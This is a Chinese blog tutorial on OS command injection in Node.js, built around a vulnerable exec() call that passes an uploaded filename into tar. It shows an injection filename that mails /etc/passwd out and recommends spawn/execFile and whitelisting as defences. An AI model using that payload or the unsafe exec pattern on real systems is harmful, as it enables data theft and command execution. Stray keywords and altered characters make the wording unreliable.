上周咱们分享了一篇 《Web 安全漏洞之 SQL 注入》,其原理简单来讲就是由于 SQL 是一种结构化字符串语言,攻击者利用能够随意构造语句的漏洞构造了开发者意料以外的语句。而今天要讲的 OS 命令注入其实原理和 SQL 注入是相似的,只是场景不同而已。OS 注入攻击是指程序提供了直接执行 Shell 命令的函数的场景,当攻击者不合理使用,且开发者对用户参数未考虑安全因素的话,就会执行恶意的命令调用,被攻击者利用。javascript
在 Node.js 中可使用 exec()
执行命令。以基于 ThinkJS 开发的博客系统 Firekylin 为例,其中有一个用户上传压缩包导入数据的功能,为了方便直接使用了 tar
命令去解压文件,大体代码以下:java
const { exec } = require('child_process');
const extractPath = path.join(think.RUNTIME_PATH, 'importMarkdownFileToFirekylin');
module.exports = class extends think.Controller {
async upload() {
const { path: filePath } = this.file('import');
exec(`rm -rf ${extractPath}; mkdir ${extractPath}; cd ${PATH}; tar zvxf "${filePath}"`);
}
}
复制代码
其中 filePath
是用户上传文件的包含文件名的临时上传路径。假设此时用户上传的文件名为 $(whoami).tar.gz
,那么最后 exec()
就至关于执行了 tar zvxf "/xxx/runtime/$(whoami).tar.gz"
。而 Bash 的话双引号中的 $()
包裹部分会被当作命令执行,最终达到了用户超乎程序设定直接执行 Shell 命令的可怕结果。相似的写法还有 ``
包裹。固然我这里写的是 whoami
命令显得效果还好,若是是 $(cat /etc/passwd | mail -s "host" i@imnerd.org).tar.gz
能直接获取到机器密码之类的就能体会出这个漏洞的可怕了吧。node
为何使用 exec 会出问题?shell
由于在child_process.exec引擎下,将调用执行"/bin/sh"。而不是目标程序。已发送的命令只是被传递给一个新的"/bin/ sh'进程来执行shell。 child_process.exec的名字有必定误导性 - 这是一个bash的解释器,而不是启动一个程序。这意味着,全部的shell字符可能会产生毁灭性的后果,若是直接执行用户输入的参数。 via: 《避免Node.js中的命令行注入安全漏洞》数组
正如刚才所说,因为能获取直接执行系统命令的能力,因此 OS 命令注入漏洞的危害想必不须要我再强调一遍。总之就是基本上能“随心所欲”吧。安全
在 Node.js 中除了 exec()
以外,还有 execFile()
和 spawn()
两个方法也能够用来执行系统命令。它们和 exec()
的区别是后者是直接将一个命令字符串传给 /bin/sh
执行,而前者是提供了一个数组做为参数容器,最后参数会被直接传到 C 的命令执行方法 execve()
中,不容易执行额外的参数。bash
当使用 spawn 或 execfile 时,咱们的目标是只执行一个命令(参数)。这意味着用户不能运行注入的命令,由于
/bin/ls
并不知道如何处理反引号或管道操做或;。它的/bin/sh
将要解释的是那些命令的参数。 via: 《避免Node.js中的命令行注入安全漏洞》网络
不过这个也不是完美之策,这个实际上是利用了执行的命令只接受普通参数来作的过滤。可是某些命令,例如 /bin/find
,它提供了 -exec
参数,后续的参数传入后会被其当成命令执行,这样又回到了最开始的状态了。async
除了上面的方法以外,咱们也能够选择对用户输入的参数进行过滤校验。例如在文章开头的上传文件的示例里,因为是用户上传的文件名,根据上下文咱们能够对其限制仅容许纯英文的文件名其它的都过滤掉,这样也能避免被注入的目的。固然黑名单也不是不能够,只是须要考虑的状况比较多,像上文说的``
,$()
等等状况都须要考虑,再加上转义之类的操做防不胜防,相比之下仍是白名单简单高效。函数
let { path: filePath } = this.file('import');
filePath = filePath.replace(/[^a-zA-Z0-9.\/_-]/g, '');
复制代码
固然最好仍是不要容许用户输入参数,只容许用户选择比较好。
网络上关于 Node.js 的命令注入漏洞描述的文章比较少,大多都是 PHP 的。虽然大道理是相同的,不过在具体的防护处理上不一样的语言稍微有点不同,因此写下这篇文章分享给你们。固然除了作校验以外,使用非 root 权限用户执行程序限制其权限也能有必定的做用。另外能够按期的搜索下代码中使用 exec()
命令的地方,看看有没有问题。原本这时候应该给你们推荐一款静态分析工具来代替人肉扫描的,不过奈何 Node.js 这方面的静态分析工具很少。总之,平常开发中能不是用系统命令的尽可能不是用,实在不得以要用的话也要作好校验,是用 spawn()
等相较安全的方法。
参考资料: